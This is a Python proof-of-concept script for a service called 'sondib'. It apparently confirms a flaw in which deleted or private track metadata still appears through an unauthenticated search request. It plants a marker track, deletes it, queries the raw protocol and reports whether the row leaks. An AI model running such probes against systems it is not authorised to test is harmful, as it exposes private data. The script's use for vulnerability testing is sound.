117 lines
3.8 KiB
Python
117 lines
3.8 KiB
Python
#!/usr/bin/env python3
|
|
"""Read private/deleted track metadata through the unauthenticated search path."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import re
|
|
import secrets
|
|
import string
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import time
|
|
from pathlib import Path
|
|
|
|
from sondib_protocol import ProtocolError, SondibClient
|
|
|
|
|
|
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
|
|
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
|
|
|
|
|
|
def log(message: str) -> None:
|
|
print(message, file=sys.stderr, flush=True)
|
|
|
|
|
|
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
|
|
return subprocess.run(
|
|
[str(SDB), args[0], target, *args[1:]],
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
timeout=10,
|
|
check=False,
|
|
)
|
|
|
|
|
|
def random_password() -> str:
|
|
alphabet = string.ascii_letters + string.digits
|
|
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
|
|
|
|
|
|
def search_rows(target: str, query: str) -> list[tuple[int, bytes, str]]:
|
|
client = SondibClient(target)
|
|
rows: list[tuple[int, bytes, str]] = []
|
|
try:
|
|
query_bytes = query.encode()
|
|
response = client.request(
|
|
b"\x03" + len(query_bytes).to_bytes(2, "little") + query_bytes
|
|
)
|
|
while True:
|
|
if not response:
|
|
raise ProtocolError("empty search response")
|
|
kind = response[0]
|
|
if kind == 0x10:
|
|
break
|
|
if kind == 0x12:
|
|
raise ProtocolError(f"search returned error {response[1:].hex()}")
|
|
if kind != 0x0F or len(response) < 0x14:
|
|
raise ProtocolError("malformed search row")
|
|
flags = response[1]
|
|
sid = response[2:18]
|
|
title_length = int.from_bytes(response[0x12:0x14], "little")
|
|
end = 0x14 + title_length
|
|
if end > len(response):
|
|
raise ProtocolError("truncated search title")
|
|
title = response[0x14:end].decode(errors="replace")
|
|
rows.append((flags, sid, title))
|
|
response = client.receive()
|
|
return rows
|
|
finally:
|
|
client.close()
|
|
|
|
|
|
def run(target: str) -> int:
|
|
if not SDB.is_file():
|
|
raise RuntimeError(f"sdb client not found: {SDB}")
|
|
username = "meta" + secrets.token_hex(5)
|
|
password = random_password()
|
|
marker = "deleted-meta-" + secrets.token_hex(5)
|
|
registered = run_sdb(target, "register", username, password)
|
|
if registered.returncode != 0:
|
|
raise RuntimeError("temporary user registration failed")
|
|
with tempfile.NamedTemporaryFile(prefix="sondib-meta-", suffix=".pcm") as pcm:
|
|
pcm.write(b"\0" * 1024)
|
|
pcm.flush()
|
|
uploaded = run_sdb(target, "upload", username, password, marker, "p", pcm.name)
|
|
if SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr) is None:
|
|
raise RuntimeError("temporary track upload failed")
|
|
sid_match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr)
|
|
assert sid_match is not None
|
|
sid, key = (part.decode() for part in sid_match.groups())
|
|
run_sdb(target, "delete", username, password, sid, key)
|
|
time.sleep(0.2)
|
|
rows = search_rows(target, marker)
|
|
leaked = [row for row in rows if row[2] == marker and row[0] & 0x02]
|
|
if leaked:
|
|
flags, leaked_sid, title = leaked[0]
|
|
log(f"target={target} deleted_metadata_leaked sid={leaked_sid.hex()} flags=0x{flags:02x}")
|
|
print(title)
|
|
return 0
|
|
log(f"target={target} deleted_metadata_not_observed")
|
|
return 1
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
log(f"usage: {sys.argv[0]} TARGET")
|
|
return 2
|
|
try:
|
|
return run(sys.argv[1])
|
|
except (OSError, ProtocolError, RuntimeError, subprocess.SubprocessError) as exc:
|
|
log(f"target={sys.argv[1]} error={exc}")
|
|
return 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|